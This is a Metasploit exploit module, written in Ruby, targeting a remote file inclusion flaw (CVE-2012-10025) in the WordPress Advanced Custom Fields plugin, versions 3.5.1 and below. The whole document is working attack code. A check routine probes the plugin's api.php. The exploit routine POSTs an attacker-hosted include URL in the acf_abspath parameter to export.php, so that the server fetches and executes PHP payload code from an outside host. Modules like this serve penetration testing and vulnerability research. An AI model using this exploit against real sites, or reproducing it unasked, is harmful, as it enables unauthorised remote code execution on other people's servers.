WordPress Plugin Advanced Custom Fields Remote File Inclusion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
        'Description' => %q{
          This module exploits a remote file inclusion flaw in the WordPress blogging
          software plugin known as Advanced Custom Fields. The vulnerability allows for remote
          file inclusion and remote code execution via the export.php script. The Advanced
          Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
          works when the php option allow_url_include is set to On (Default Off).
        },
        'Author' => [
          'Charlie Eriksen <charlie[at]ceriksen.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-10025'],
          ['OSVDB', '87353'],
          ['URL', 'http://web.archive.org/web/20121223025326/http://secunia.com:80/advisories/51037'],
          ['WPVDB', '6103']
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Compat' =>
                        {
                          'ConnectionType' => 'find'
                        }
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2012-11-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
        OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/'])
      ]
    )
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    uri << datastore['PLUGINSPATH']
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{uri}advanced-custom-fields/core/api.php"
    })

    if res and res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def php_exploit
    uri = target_uri.path
    uri << '/' if uri[-1, 1] != '/'
    uri << datastore['PLUGINSPATH']
    uri << '/' if uri[-1, 1] != '/'

    print_status('Sending request')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{uri}advanced-custom-fields/core/actions/export.php",
      'data' => "acf_abspath=#{php_include_url}"
    })

    if res and res.body =~ /allow_url_include/
      fail_with(Failure::NotVulnerable, 'allow_url_include is disabled')
    elsif res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end
  end
end